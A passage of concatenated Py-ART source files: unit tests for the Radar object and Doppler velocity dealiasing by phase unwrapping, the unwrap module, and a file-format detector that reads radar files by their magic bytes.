StringIO import StringIO except ImportError: from io import StringIO import inspect import numpy as np from numpy.testing import assert_raises import pyart def test_rays_per_sweep_attribute(): radar = pyart.testing.make_target_radar() rays_per_sweep = radar.rays_per_sweep assert isinstance(rays_per_sweep, dict) assert rays_per_sweep['data'].shape == (1, ) assert rays_per_sweep['data'][0] == 360 def test_iterators(): radar = pyart.testing.make_empty_ppi_radar(30, 20, 5) radar.fields['reflectivity'] = { 'data': np.zeros((100, 30), dtype=np.float32)} starts = [0, 20, 40, 60, 80] ends = [19, 39, 59, 79, 99] starts_ends = [(s, e) for s, e in zip(starts, ends)] assert inspect.isgenerator(radar.iter_start()) assert [s for s in radar.iter_start()] == starts assert inspect.isgenerator(radar.iter_end()) assert [s for s in radar.iter_end()] == ends assert inspect.isgenerator(radar.iter_start_end()) assert [s for s in radar.iter_start_end()] == starts_ends assert inspect.isgenerator(radar.iter_slice()) for s, start, end in zip(radar.iter_slice(), starts, ends): assert s.start == start assert s.stop == end + 1 assert s.step is None assert inspect.isgenerator(radar.iter_field('reflectivity')) for d in radar.iter_field('reflectivity'): assert d.shape == (20, 30) assert d.dtype == np.float32 assert_raises(KeyError, radar.iter_field, 'foobar') assert inspect.isgenerator(radar.iter_azimuth()) for d in radar.iter_azimuth(): assert d.shape == (20, ) assert inspect.isgenerator(radar.iter_elevation()) for d in radar.iter_elevation(): assert d.shape == (20, ) def test_get_methods(): radar = pyart.testing.make_empty_ppi_radar(30, 20, 5) radar.fields['reflectivity'] = { 'data': np.zeros((100, 30), dtype=np.float32)} assert radar.get_start(0) == 0 assert radar.get_start(1) == 20 assert_raises(IndexError, radar.get_start, -1) assert_raises(IndexError, radar.get_start, 20) assert radar.get_end(0) == 19 assert radar.get_end(1) == 39 assert_raises(IndexError, radar.get_end, -1) assert_raises(IndexError, radar.get_end, 20) assert radar.get_start_end(0) == (0, 19) assert radar.get_start_end(1) == (20, 39) assert_raises(IndexError, radar.get_start_end, -1) assert_raises(IndexError, radar.get_start_end, 20) assert radar.get_slice(0) == slice(0, 20) assert radar.get_slice(1) == slice(20, 40) assert_raises(IndexError, radar.get_slice, -1) assert_raises(IndexError, radar.get_slice, 20) data = radar.get_field(0, 'reflectivity') assert data.shape == (20, 30) assert data.dtype == np.float32 data = radar.get_field(1, 'reflectivity') assert data.shape == (20, 30) assert data.dtype == np.float32 assert_raises(KeyError, radar.get_field, 0, 'foobar') assert_raises(IndexError, radar.get_field, -1, 'reflectivity') assert_raises(IndexError, radar.get_field, 20, 'reflectivity') assert radar.get_azimuth(0).shape == (20, ) assert_raises(IndexError, radar.get_azimuth, -1) assert_raises(IndexError, radar.get_azimuth, 20) assert radar.get_elevation(0).shape == (20, ) assert_raises(IndexError, radar.get_elevation, -1) assert_raises(IndexError, radar.get_elevation, 20) assert_raises(LookupError, radar.get_nyquist_vel, 0) radar.instrument_parameters = { 'nyquist_velocity': {'data': np.ones((100,))} } assert round(radar.get_nyquist_vel(0)) == 1 assert_raises(IndexError, radar.get_nyquist_vel, -1) radar.instrument_parameters['nyquist_velocity']['data'][0] = 2 assert_raises(Exception, radar.get_nyquist_vel, 0) def test_extract_sweeps(): radar = pyart.testing.make_empty_ppi_radar(100, 360, 3) radar.fields['reflectivity'] = {'data': np.zeros((1080, 100))} radar.fields['velocity'] = {'data': np.zeros((1080, 100))} eradar = radar.extract_sweeps([0, 2]) # extracted radar should have 720 rays, 2 sweeps, 100 gates assert eradar.time['data'].shape == (720, ) assert eradar.range['data'].shape == (100, ) assert eradar.metadata['instrument_name'] == 'fake_radar' assert eradar.scan_type == 'ppi' assert eradar.latitude['data'].shape == (1, ) assert eradar.longitude['data'].shape == (1, ) assert eradar.altitude['data'].shape == (1, ) assert eradar.altitude_agl is None assert eradar.sweep_number['data'].shape == (2, ) assert eradar.sweep_mode['data'].shape == (2, ) assert eradar.fixed_angle['data'].shape == (2, ) assert eradar.sweep_start_ray_index['data'].shape == (2, ) assert eradar.sweep_end_ray_index['data'].shape == (2, ) assert eradar.target_scan_rate is None assert eradar.azimuth['data'].shape == (720, ) assert eradar.elevation['data'].shape == (720, ) assert eradar.scan_rate is None assert eradar.antenna_transition is None assert eradar.instrument_parameters is None assert eradar.radar_calibration is None assert eradar.ngates == 100 assert eradar.nrays == 720 assert eradar.nsweeps == 2 assert eradar.fields['reflectivity']['data'].shape == (720, 100) assert eradar.fields['velocity']['data'].shape == (720, 100) def test_extract_sweeps_extra(): radar = pyart.testing.make_empty_ppi_radar(10, 36, 3) radar.instrument_parameters = { 'prt': {'data': np.zeros((108, ))}, 'prt_mode': {'data': np.array(['fixed'] * 3)}, 'radar_antenna_gain_h': {'data': np.array(0)}, } radar.radar_calibration = { 'r_calib_index': {'data': np.zeros((108, ))}, 'r_calib_time': {'data': np.zeros((8, ))} } eradar = radar.extract_sweeps([0, 2]) instr = eradar.instrument_parameters assert instr['prt']['data'].shape == (72, ) assert instr['prt_mode']['data'].shape == (2, ) assert instr['radar_antenna_gain_h']['data'].shape == () calib = eradar.radar_calibration assert calib['r_calib_index']['data'].shape == (72, ) assert calib['r_calib_time']['data'].shape == (8, ) def test_extract_sweeps_errors(): radar = pyart.testing.make_empty_ppi_radar(10, 36, 2) assert_raises(ValueError, radar.extract_sweeps, [0, 2]) assert_raises(ValueError, radar.extract_sweeps, [-1, 1]) def test_radar_creation(): radar = pyart.testing.make_target_radar() assert isinstance(radar, pyart.core.Radar) def test_add_field(): radar = pyart.testing.make_target_radar() dic = {'data': np.zeros((360, 50)), 'standard_name': 'test'} radar.add_field('test', dic) assert 'test' in radar.fields assert 'data' in radar.fields['test'] assert radar.fields['test']['standard_name'] == 'test' def test_add_field_errors(): radar = pyart.testing.make_target_radar() assert_raises(ValueError, radar.add_field, 'reflectivity', {}) dic = {'dat': np.zeros((360, 50)), 'standard_name': 'test'} assert_raises(KeyError, radar.add_field, 'test', dic) dic = {'data': np.zeros((360, 49)), 'standard_name': 'test'} assert_raises(ValueError, radar.add_field, 'test', dic) def test_add_field_like(): radar = pyart.testing.make_target_radar() data = np.zeros((360, 50)) radar.add_field_like('reflectivity', 'test', data) assert 'test' in radar.fields assert 'data' in radar.fields['test'] assert radar.fields['test']['units'] == 'dBZ' def test_add_field_like_bug(): # tests for bug where adding a field over-writes 'like' field # data/metadata. radar = pyart.testing.make_target_radar() data = np.ones((360, 50)) radar.add_field_like('reflectivity', 'test', data) radar.fields['test']['units'] = 'fake' # check field added assert radar.fields['test']['units'] == 'fake' assert radar.fields['test']['data'][0, 0] == 1 # check original field assert radar.fields['reflectivity']['units'] == 'dBZ' assert radar.fields['reflectivity']['data'][0, 0] == 0 def test_add_field_like_errors(): radar = pyart.testing.make_target_radar() assert_raises(ValueError, radar.add_field_like, 'foo', 'bar', []) def test_info_levels(): for level in ['standard', 's', 'compact', 'c', 'full', 'f']: yield check_info, level def test_info_nonstandard(): # build a non-standard radar object for testing all paths in info radar = pyart.testing.make_target_radar() radar.fields['reflectivity']['data'] = [1, 2, 3, 4] radar.instrument_parameters = {'foobar': {'data': [1, 2], 'bar': 'foo'}} radar.radar_calibration = {'foobar': {'data': [1, 2], 'bar': 'foo'}} check_info('standard', radar) def check_info(level, radar=None): out = StringIO() get_info(level, out, radar) # don't check the output, just that something was printed. assert len(out.getvalue()) != 0 def get_info(level='standard', out=sys.stdout, radar=None): if radar is None: radar = pyart.testing.make_target_radar() radar.info(level, out) def test_info_errors(): assert_raises(ValueError, check_info, 'foo') def test_is_vpt(): radar = pyart.testing.make_empty_ppi_radar(10, 36, 3) assert not pyart.core.is_vpt(radar) pyart.core.to_vpt(radar) assert pyart.core.is_vpt(radar) def test_to_vpt(): # single scan radar = pyart.testing.make_empty_ppi_radar(10, 36, 3) radar.instrument_parameters = { 'prt_mode': {'data': np.array(['fixed'] * 3)} } pyart.core.to_vpt(radar) assert pyart.core.is_vpt(radar) assert radar.nsweeps == 1 assert radar.azimuth['data'][10] == 0.0 assert radar.elevation['data'][0] == 90.0 assert len(radar.instrument_parameters['prt_mode']['data']) == 1 # multiple scans radar = pyart.testing.make_empty_ppi_radar(10, 36, 3) radar.instrument_parameters = { 'prt_mode': {'data': np.array(['fixed'] * 3)} } pyart.core.to_vpt(radar, False) assert pyart.core.is_vpt(radar) assert radar.nsweeps == 108 assert radar.azimuth['data'][10] == 10.0 assert radar.elevation['data'][0] == 90.0 assert len(radar.instrument_parameters['prt_mode']['data']) == 108 ``` #### File: correct/tests/test_unwrap.py ```python from __future__ import print_function import pyart import numpy as np from numpy.testing import assert_allclose from numpy.testing import assert_raises REF_DATA = [0.5, 1.5, 2.5, 3.5, 4.5, 5.5, 6.5, 7.5, 8.5, 9.5, 10.5, 11.5, 12.5, 13.5, 12.5, 11.5, 10.5, 9.5, 8.5, 7.5, 6.5, 5.5, 4.5, 3.5, 2.5, 1.5, 0.5] def test_dealias_unwrap_phase_ray(): radar, dealias_vel = perform_dealias('ray') assert_allclose(dealias_vel['data'][13, :27], REF_DATA) assert np.ma.is_masked(dealias_vel['data'][13]) is False def test_dealias_unwrap_phase_sweep(): radar, dealias_vel = perform_dealias('sweep') assert_allclose(dealias_vel['data'][13, :27], REF_DATA) assert np.ma.is_masked(dealias_vel['data'][13]) is False def test_dealias_unwrap_phase_volume(): radar, dealias_vel = perform_dealias('volume') assert_allclose(dealias_vel['data'][13, :27], REF_DATA) assert np.ma.is_masked(dealias_vel['data'][13]) is False def test_dealias_unwrap_phase_no_gatefilter(): radar, dealias_vel = perform_dealias('sweep', gatefilter=False) assert_allclose(dealias_vel['data'][13, :27], REF_DATA) assert np.ma.is_masked(dealias_vel['data'][13]) is False def test_dealias_unwrap_phase_explicit_gatefilter(): radar = pyart.testing.make_velocity_aliased_radar() gf = pyart.correct.GateFilter(radar) radar.fields['velocity']['data'][13, -4:] = [-7.5, 8.5, 0, 0] dealias_vel = pyart.correct.dealias_unwrap_phase(radar, gatefilter=gf) assert_allclose(dealias_vel['data'][13, :27], REF_DATA) assert np.ma.is_masked(dealias_vel['data'][13]) is False def test_dealias_unwrap_phase_masked_field_sweep(): radar = pyart.testing.make_velocity_aliased_radar() vdata = radar.fields['velocity']['data'] radar.fields['velocity']['data'] = np.ma.masked_array(vdata) radar.fields['velocity']['data'][13, -4:] = [-7.5, 8.5, 0, 0] radar.fields['velocity']['data'][180, 25] = np.ma.masked dealias_vel = pyart.correct.dealias_unwrap_phase( radar, unwrap_unit='volume') assert_allclose(dealias_vel['data'][13, :27], REF_DATA) assert np.ma.is_masked(dealias_vel['data'][13]) is False assert np.ma.is_masked(dealias_vel['data'][180, 25]) assert not np.ma.is_masked(dealias_vel['data'][180, 24]) def test_dealias_unwrap_phase_masked_field_volume(): radar = pyart.testing.make_velocity_aliased_radar() vdata = radar.fields['velocity']['data'] radar.fields['velocity']['data'] = np.ma.masked_array(vdata) radar.fields['velocity']['data'][13, -4:] = [-7.5, 8.5, 0, 0] radar.fields['velocity']['data'][180, 25] = np.ma.masked dealias_vel = pyart.correct.dealias_unwrap_phase( radar, unwrap_unit='volume') assert_allclose(dealias_vel['data'][13, :27], REF_DATA) assert np.ma.is_masked(dealias_vel['data'][13]) is False assert np.ma.is_masked(dealias_vel['data'][180, 25]) assert not np.ma.is_masked(dealias_vel['data'][180, 24]) def test_dealias_unwrap_phase_masked_field_ray(): radar = pyart.testing.make_velocity_aliased_radar() vdata = radar.fields['velocity']['data'] radar.fields['velocity']['data'] = np.ma.masked_array(vdata) radar.fields['velocity']['data'][13, -4:] = [-7.5, 8.5, 0, 0] radar.fields['velocity']['data'][180, 25] = np.ma.masked dealias_vel = pyart.correct.dealias_unwrap_phase( radar, unwrap_unit='ray') assert_allclose(dealias_vel['data'][13, :27], REF_DATA) assert np.ma.is_masked(dealias_vel['data'][13]) is False assert np.ma.is_masked(dealias_vel['data'][180, 25]) assert not np.ma.is_masked(dealias_vel['data'][180, 24]) def test_dealias_unwrap_phase_rhi_sweep(): radar = pyart.testing.make_velocity_aliased_rhi_radar() radar.fields['velocity']['data'][13, -4:] = [-7.5, 8.5, 0, 0] dealias_vel = pyart.correct.dealias_unwrap_phase(radar) assert_allclose(dealias_vel['data'][13, :27], REF_DATA) assert np.ma.is_masked(dealias_vel['data'][13]) is False def test_dealias_unwrap_phase_rhi_volume(): radar = pyart.testing.make_velocity_aliased_rhi_radar() radar.fields['velocity']['data'][13, -4:] = [-7.5, 8.5, 0, 0] dealias_vel = pyart.correct.dealias_unwrap_phase( radar, unwrap_unit='volume') assert_allclose(dealias_vel['data'][13, :27], REF_DATA) assert np.ma.is_masked(dealias_vel['data'][13]) is False def test_dealias_unwrap_phase_raises(): # invalid unwrap_unit radar = pyart.testing.make_velocity_aliased_radar() assert_raises(ValueError, pyart.correct.dealias_unwrap_phase, radar, unwrap_unit='fuzz') # no explicit nyquist radar = pyart.testing.make_velocity_aliased_radar() radar.instrument_parameters = None assert_raises(LookupError, pyart.correct.dealias_unwrap_phase, radar) # non-sequential radar = pyart.testing.make_velocity_aliased_radar() radar.azimuth['data'][10] = 190. assert_raises(ValueError, pyart.correct.dealias_unwrap_phase, radar) # non-aligned sweeps radar = pyart.testing.make_empty_ppi_radar(1, 10, 2) radar.fields['velocity'] = {'data': np.zeros((20, 1))} assert_raises(ValueError, pyart.correct.dealias_unwrap_phase, radar, nyquist_vel=10, unwrap_unit='volume') # non-cubic radar radar = pyart.testing.make_empty_ppi_radar(1, 10, 2) radar.fields['velocity'] = {'data': np.zeros((20, 1))} radar.azimuth['data'][-10:] = range(10) radar.sweep_end_ray_index['data'][-1] = 18 assert_raises(ValueError, pyart.correct.dealias_unwrap_phase, radar, nyquist_vel=10, unwrap_unit='volume') # invalid scan type radar = pyart.testing.make_velocity_aliased_radar() radar.scan_type = 'fuzz' assert_raises(ValueError, pyart.correct.dealias_unwrap_phase, radar) def perform_dealias(unwrap_unit='sweep', **kwargs): """ Perform velocity dealiasing on reference data. """ radar = pyart.testing.make_velocity_aliased_radar() # speckling that will not be not be dealiased. radar.fields['velocity']['data'][13, -4:] = [-7.5, 8.5, 0, 0] dealias_vel = pyart.correct.dealias_unwrap_phase( radar, unwrap_unit=unwrap_unit, **kwargs) return radar, dealias_vel if __name__ == "__main__": radar, dealias_vel = perform_dealias() radar.fields['dealiased_velocity'] = dealias_vel # print out results print("ray 13 velocitites before dealias:") print(radar.fields['velocity']['data'][13]) print("ray 13 velocities after dealias:") print(radar.fields['dealiased_velocity']['data'][13]) # create plot import matplotlib.pyplot as plt fig = plt.figure(figsize=[5, 10]) ax1 = fig.add_subplot(2, 1, 1) ax2 = fig.add_subplot(2, 1, 2) rd = pyart.graph.RadarDisplay(radar) rd.plot_ppi('velocity', 0, ax=ax1, colorbar_flag=False, title='', vmin=-10, vmax=10) rd.plot_ppi('dealiased_velocity', 0, ax=ax2, colorbar_flag=False, title='', vmin=-10, vmax=20) fig.savefig('dealias_plot.png') ``` #### File: pyart/correct/unwrap.py ```python from __future__ import print_function import numpy as np from ..config import get_metadata from ._common_dealias import _parse_fields, _parse_gatefilter from ._common_dealias import _parse_rays_wrap_around, _parse_nyquist_vel from ._unwrap_1d import unwrap_1d from ._unwrap_2d import unwrap_2d from ._unwrap_3d import unwrap_3d def dealias_unwrap_phase( radar, unwrap_unit='sweep', nyquist_vel=None, check_nyquist_uniform=True, gatefilter=False, rays_wrap_around=None, keep_original=False, vel_field=None, corr_vel_field=None, skip_checks=False, **kwargs): """ Dealias Doppler velocities using multi-dimensional phase unwrapping. Parameters ---------- radar : Radar Radar object containing Doppler velocities to dealias. unwrap_unit : {'ray', 'sweep', 'volume'}, optional Unit to unwrap independently. 'ray' will unwrap each ray individually, 'sweep' each sweep, and 'volume' will unwrap the entire volume in a single pass. 'sweep', the default, often gives superior results when the lower sweeps of the radar volume are contaminated by clutter. 'ray' does not use the gatefilter parameter and rays where gates ared masked will result in poor dealiasing for that ray. nyquist_velocity : array like or float, optional Nyquist velocity in unit identical to those stored in the radar's velocity field, either for each sweep or a single value which will be used for all sweeps. None will attempt to determine this value from the Radar object. The Nyquist velocity of the first sweep is used for all dealiasing unless the unwrap_unit is 'sweep' when the velocities of each sweep are used. check_nyquist_uniform : bool, optional True to check if the Nyquist velocities are uniform for all rays within a sweep, False will skip this check. This parameter is ignored when the nyquist_velocity parameter is not None. gatefilter : GateFilter, None or False, optional. A GateFilter instance which specified which gates should be ignored when performing de-aliasing. A value of None created this filter from the radar moments using any additional arguments by passing them to :py:func:`moment_based_gate_filter`. False, the default, disables filtering including all gates in the dealiasing. rays_wrap_around : bool or None, optional True when the rays at the beginning of the sweep and end of the sweep should be interpreted as connected when de-aliasing (PPI scans). False if they edges should not be interpreted as connected (other scan types). None will determine the correct value from the radar scan type. keep_original : bool, optional True to retain the original Doppler velocity values at gates where the dealiasing procedure fails or was not applied. False does not replacement and these gates will be masked in the corrected velocity field. vel_field : str, optional Field in radar to use as the Doppler velocities during dealiasing. None will use the default field name from the Py-ART configuration file. corr_vel_field : str, optional Name to use for the dealiased Doppler velocity field metadata. None will use the default field name from the Py-ART configuration file. skip_checks : bool True to skip checks verifing that an appropiate unwrap_unit is selected, False retains these checked. Setting this parameter to True is not recommended and is only offered as an option for extreme cases. Returns ------- corr_vel : dict Field dictionary containing dealiased Doppler velocities. Dealiased array is stored under the 'data' key. References ---------- .. [1] <NAME>, <NAME>, <NAME>, and <NAME>, "Fast two-dimensional phase-unwrapping algorithm based on sorting by reliability following a noncontinuous path", Journal Applied Optics, Vol. 41, No. 35 (2002) 7437, .. [2] <NAME>., <NAME>., <NAME>., & <NAME>., "Fast three-dimensional phase-unwrapping algorithm based on sorting by reliability following a non-continuous path. In <NAME>, <NAME>, & <NAME> (Eds.), Optical Metrology (2005) 32--40, International Society for Optics and Photonics. """ vel_field, corr_vel_field = _parse_fields(vel_field, corr_vel_field) gatefilter = _parse_gatefilter(gatefilter, radar, **kwargs) rays_wrap_around = _parse_rays_wrap_around(rays_wrap_around, radar) nyquist_vel = _parse_nyquist_vel(nyquist_vel, radar, check_nyquist_uniform) if not skip_checks: _verify_unwrap_unit(radar, unwrap_unit) # exclude masked and invalid velocity gates gatefilter.exclude_masked(vel_field) gatefilter.exclude_invalid(vel_field) gfilter = gatefilter.gate_excluded # raw vel. data possibly with masking raw_vdata = radar.fields[vel_field]['data'] vdata = raw_vdata.view(np.ndarray) # mask removed # perform dealiasing if unwrap_unit == 'ray': # 1D unwrapping does not use the gate filter nor respect # masked gates in the rays. No information from the radar object is # needed for the unfolding data = _dealias_unwrap_1d(vdata, nyquist_vel) elif unwrap_unit == 'sweep': data = _dealias_unwrap_2d( radar, vdata, nyquist_vel, gfilter, rays_wrap_around) elif unwrap_unit == 'volume': data = _dealias_unwrap_3d( radar, vdata, nyquist_vel, gfilter, rays_wrap_around) else: message = ("Unknown `unwrap_unit` parameter, must be one of" "'ray', 'sweep', or 'volume'") raise ValueError(message) # mask filtered gates if np.any(gfilter): data = np.ma.array(data, mask=gfilter) # restore original values where dealiasing not applied if keep_original: data[gfilter] = raw_vdata[gfilter] # return field dictionary containing dealiased Doppler velocities corr_vel = get_metadata(corr_vel_field) corr_vel['data'] = data return corr_vel def _dealias_unwrap_3d(radar, vdata, nyquist_vel, gfilter, rays_wrap_around): """ Dealias using 3D phase unwrapping (full volume at once). """ # form cube and scale to phase units nyquist_vel = nyquist_vel[0] # must be uniform, not checked shape = (radar.nsweeps, -1, radar.ngates) scaled_cube = (np.pi * vdata / nyquist_vel).reshape(shape) filter_cube = gfilter.reshape(shape) # perform unwrapping wrapped = np.require(scaled_cube, np.float64, ['C']) mask = np.require(filter_cube, np.uint8, ['C']) unwrapped = np.empty_like(wrapped, dtype=np.float64, order='C') unwrap_3d(wrapped, mask, unwrapped, [False, rays_wrap_around, False]) # scale back to velocity units unwrapped_cube = unwrapped * nyquist_vel / np.pi unwrapped_volume = unwrapped_cube.reshape(-1, radar.ngates) unwrapped_volume = unwrapped_volume.astype(vdata.dtype) return unwrapped_volume def _dealias_unwrap_1d(vdata, nyquist_vel): """ Dealias using 1D phase unwrapping (ray-by-ray) """ # nyquist_vel is only available sweep by sweep which has been lost at # this point. Metioned in the documentation nyquist_vel = nyquist_vel[0] data = np.empty_like(vdata) for i, ray in enumerate(vdata): # extract ray and scale to phase units scaled_ray = ray * np.pi / nyquist_vel # perform unwrapping wrapped = np.require(scaled_ray, np.float64, ['C']) unwrapped = np.empty_like(wrapped, dtype=np.float64, order='C') unwrap_1d(wrapped, unwrapped) # scale back into velocity units and store data[i] = unwrapped * nyquist_vel / np.pi return data def _dealias_unwrap_2d(radar, vdata, nyquist_vel, gfilter, rays_wrap_around): """ Dealias using 2D phase unwrapping (sweep-by-sweep). """ data = np.zeros_like(vdata) for nsweep, sweep_slice in enumerate(radar.iter_slice()): # extract sweep and scale to phase units sweep_nyquist_vel = nyquist_vel[nsweep] scaled_sweep = vdata[sweep_slice] * np.pi / sweep_nyquist_vel sweep_mask = gfilter[sweep_slice] # perform unwrapping wrapped = np.require(scaled_sweep, np.float64, ['C']) mask = np.require(sweep_mask, np.uint8, ['C']) unwrapped = np.empty_like(wrapped, dtype=np.float64, order='C') unwrap_2d(wrapped, mask, unwrapped, [rays_wrap_around, False]) # scale back into velocity units and store data[sweep_slice, :] = unwrapped * sweep_nyquist_vel / np.pi return data def _verify_unwrap_unit(radar, unwrap_unit): """ Verify that the radar supports the requested unwrap unit raises a ValueError if the unwrap_unit is not supported. """ if unwrap_unit == 'sweep' or unwrap_unit == 'volume': if _is_radar_sequential(radar) is False: mess = ("rays are not sequentially ordered, must use 'ray' " "unwrap_unit.") raise ValueError(mess) if unwrap_unit == 'volume': if _is_radar_cubic(radar) is False: mess = "Non-cubic radar volume, 'volume' unwrap_unit invalid. " raise ValueError(mess) if _is_radar_sweep_aligned(radar) is False: mess = ("Angle in sequential sweeps in radar volumes are not " "aligned, 'volume unwrap_unit invalid") raise ValueError(mess) def _is_radar_cubic(radar): """ Test if a radar is cubic (sweeps have the same number of rays). """ rays_per_sweep = radar.rays_per_sweep['data'] return bool(np.all(rays_per_sweep == rays_per_sweep[0])) def _is_radar_sweep_aligned(radar, diff=0.1): """ Test that all sweeps in the radar sample nearly the same angles. Test that the maximum difference in sweep sampled angles is below `diff` degrees. The radar should first be tested to verify that is cubic before calling this function using the _is_radar_cubic function. """ if radar.nsweeps == 1: return True # all single sweep volume are sweep aligned if radar.scan_type == 'ppi': angles = radar.azimuth['data'] elif radar.scan_type == 'rhi': angles = radar.elevation['data'] else: raise ValueError('invalid scan_type: %s' % (radar.scan_type)) starts = radar.sweep_start_ray_index['data'] ends = radar.sweep_end_ray_index['data'] ref_angles = angles[starts[0]:ends[0] + 1] for start, end in zip(starts, ends): test_angles = angles[start:end+1] if np.any(np.abs(test_angles - ref_angles) > diff): return False return True def _is_radar_sequential(radar): """ Test if all sweeps in radar are sequentially ordered. """ for i in range(radar.nsweeps): if not _is_sweep_sequential(radar, i): return False return True def _is_sweep_sequential(radar, sweep_number): """ Test if a specific sweep is sequentially ordered. """ start = radar.sweep_start_ray_index['data'][sweep_number] end = radar.sweep_end_ray_index['data'][sweep_number] if radar.scan_type == 'ppi': angles = radar.azimuth['data'][start:end+1] elif radar.scan_type == 'rhi': angles = radar.elevation['data'][start:end+1] elif radar.scan_type == 'vpt': # for VPT scan time should not run backwards, so time is the # equivalent variable to an angle. angles = radar.time['data'] else: raise ValueError('invalid scan_type: %s' % (radar.scan_type)) rolled_angles = np.roll(angles, -np.argmin(angles)) return np.all(np.diff(rolled_angles) >= 0) ``` #### File: pyart/io/auto_read.py ```python import bz2 import gzip import netCDF4 from . import _RSL_AVAILABLE if _RSL_AVAILABLE: from .rsl import read_rsl from .mdv_radar import read_mdv from .cfradial import read_cfradial from .sigmet import read_sigmet from .nexrad_archive import read_nexrad_archive from .nexrad_cdm import read_nexrad_cdm from .nexradl3_read import read_nexrad_level3 from .uf import read_uf from .chl import read_chl def read(filename, use_rsl=False, **kwargs): """ Read a radar file and return a radar object. Additional parameters are passed to the underlying read_* function. Parameters ---------- filename : str Name of radar file to read use_rsl : bool True will use the TRMM RSL library to read files which are supported both natively and by RSL. False will choose the native read function. RSL will always be used to read a file if it is not supported natively. Other Parameters ------------------- field_names : dict, optional Dictionary mapping file data type names to radar field names. If a data type found in the file does not appear in this dictionary or has a value of None it will not be placed in the radar.fields dictionary. A value of None, the default, will use the mapping defined in the metadata configuration file. additional_metadata : dict of dicts, optional Dictionary of dictionaries to retrieve metadata from during this read. This metadata is not used during any successive file reads unless explicitly included. A value of None, the default, will not introduct any addition metadata and the file specific or default metadata as specified by the metadata configuration file will be used. file_field_names : bool, optional True to use the file data type names for the field names. If this case the field_names parameter is ignored. The field dictionary will likely only have a 'data' key, unless the fields are defined in `additional_metadata`. exclude_fields : list or None, optional List of fields to exclude from the radar object. This is applied after the `file_field_names` and `field_names` parameters. delay_field_loading : bool True to delay loading of field data from the file until the 'data' key in a particular field dictionary is accessed. In this case the field attribute of the returned Radar object will contain LazyLoadDict objects not dict objects. Not all file types support this parameter. Returns ------- radar : Radar Radar object. A TypeError is raised if the format cannot be determined. """ filetype = determine_filetype(filename) # Bzip, uncompress and see if we can determine the type if filetype == 'BZ2': bzfile = bz2.BZ2File(filename) try: radar = read(bzfile, use_rsl, **kwargs) except: raise ValueError( 'Bzip file cannot be read compressed, ' 'uncompress and try again') finally: bzfile.close() return radar # Gzip, uncompress and see if we can determine the type if filetype == 'GZ': gzfile = gzip.open(filename, 'rb') try: radar = read(gzfile, use_rsl, **kwargs) except: raise ValueError( 'Gzip file cannot be read compressed, ' 'uncompress and try again') finally: gzfile.close() return radar # Py-ART only supported formats if filetype == "MDV": return read_mdv(filename, **kwargs) if filetype == "NETCDF3" or filetype == "NETCDF4": dset = netCDF4.Dataset(filename) if 'cdm_data_type' in dset.ncattrs(): # NEXRAD CDM dset.close() return read_nexrad_cdm(filename, **kwargs) else: dset.close() return read_cfradial(filename, **kwargs) # CF/Radial if filetype == 'WSR88D': return read_nexrad_archive(filename, **kwargs) if filetype == 'CHL': return read_chl(filename, **kwargs) if filetype == 'NEXRADL3': return read_nexrad_level3(filename, **kwargs) # RSL supported formats which are also supported natively in Py-ART if filetype == "SIGMET": if use_rsl: return read_rsl(filename, **kwargs) else: return read_sigmet(filename, **kwargs) if filetype == "UF": if use_rsl: return read_rsl(filename, **kwargs) else: return read_uf(filename, **kwargs) # RSL only supported file formats rsl_formats = ['HDF4', 'RSL', 'DORAD', 'LASSEN'] if filetype in rsl_formats and _RSL_AVAILABLE: return read_rsl(filename, **kwargs) raise TypeError('Unknown or unsupported file format: ' + filetype) def determine_filetype(filename): """ Return the filetype of a given file by examining the first few bytes. The following filetypes are detected: * 'MDV' * 'NETCDF3' * 'NETCDF4' * 'WSR88D' * 'NEXRADL3' * 'UF' * 'HDF4' * 'RSL' * 'DORAD' * 'SIGMET' * 'LASSEN' * 'BZ2' * 'GZ' * 'UNKNOWN' Parameters ---------- filename : str Name of file to examine. Returns ------- filetype : str Type of file. """ # TODO # detect the following formats, those supported by RSL # 'RADTEC', the SPANDAR radar at Wallops Island, VA # 'MCGILL', McGill S-band # 'TOGA', DYNAMO project's radar # 'RAPIC', Berrimah Australia # 'RAINBOW' # read the first 12 bytes from the file try: f = open(filename, 'rb') begin = f.read(12) f.close() except TypeError: f = filename begin = f.read(12) f.seek(-12, 1) # MDV, read with read_mdv # MDV format signature from MDV FORMAT Interface Control Document (ICD) # recond_len1, struct_id, revision_number # 1016, 14142, 1 # import struct # mdv_signature = struct.pack('>3i', 1016, 14142, 1) mdv_signature = b'\x00\x00\x03\xf8\x00\x007>\x00\x00\x00\x01' if begin[:12] == mdv_signature: return "MDV" # CSU-CHILL # begins with ARCH_ID_FILE_HDR = 0x5aa80004 # import struct # struct.pack('<i', 0x5aa80004) chl_signature = b'\x04\x00\xa8Z' if begin[:4] == chl_signature: return "CHL" # NetCDF3, read with read_cfradial if begin[:3] == b"CDF": return "NETCDF3" # NetCDF4, read with read_cfradial, contained in a HDF5 container # HDF5 format signature from HDF5 specification documentation hdf5_signature = b'\x89\x48\x44\x46\x0d\x0a\x1a\x0a' if begin[:8] == hdf5_signature: return "NETCDF4" # NEXRAD LEVEL 3 begin with SDUSXX KXXX nexrad_l3_signature = b'SDUS' if begin[:4] == b'SDUS': return "NEXRADL3" # Other files should be read with read_rsl # WSR-88D begin with ARCHIVE2. or AR2V000 if begin[:9] == b'ARCHIVE2.' or begin[:7] == b'AR2V000': return "WSR88D" # Universal format has UF in bytes 0,1 or 2,3 or 4,5 if begin[:2] == b"UF" or begin[2:4] == b"UF" or begin[4:6] == b"UF": return "UF" # DORADE files if begin[:4] == b"SSWB" or begin[:4] == b"VOLD" or begin[:4] == b"COMM": return "DORADE" # LASSEN if begin[4:11] == b'SUNRISE': return "LASSEN" # RSL file if begin[:3] == b"RSL": return "RSL" # HDF4 file # HDF4 format signature from HDF4 specification documentation hdf4_signature = b'\x0e\x03\x13\x01' if begin[:4] == hdf4_signature: return "HDF4" # SIGMET files # SIGMET format is a structure_header with a Product configuration # indicator (see section 4.2.47) # sigmet_signature = chr(27) sigmet_signature = b'\x1b' if begin[0:1] == sigmet_signature: return "SIGMET" # bzip2 compressed files bzip2_signature = b'BZh' if begin[:3] == bzip2_signature: return 'BZ2' gzip_signature = b'\x1f\x8b' if begin[:2] == gzip_signature: return 'GZ' # Cannot determine filetype return "UNKNOWN" ``` #### File: pyart/io/_sigmet_noaa_hh.py ```python import numpy as np from ._sigmetfile import bin4_to_angle, bin2_to_angle def _decode_noaa_hh_hdr( raw_extended_headers, filemetadata, azimuth, elevation, position_source='irs', heading_source='irs'): """ Extract data from Sigmet extended headers produced by NOAA Hurricane Hunter airborne radars. 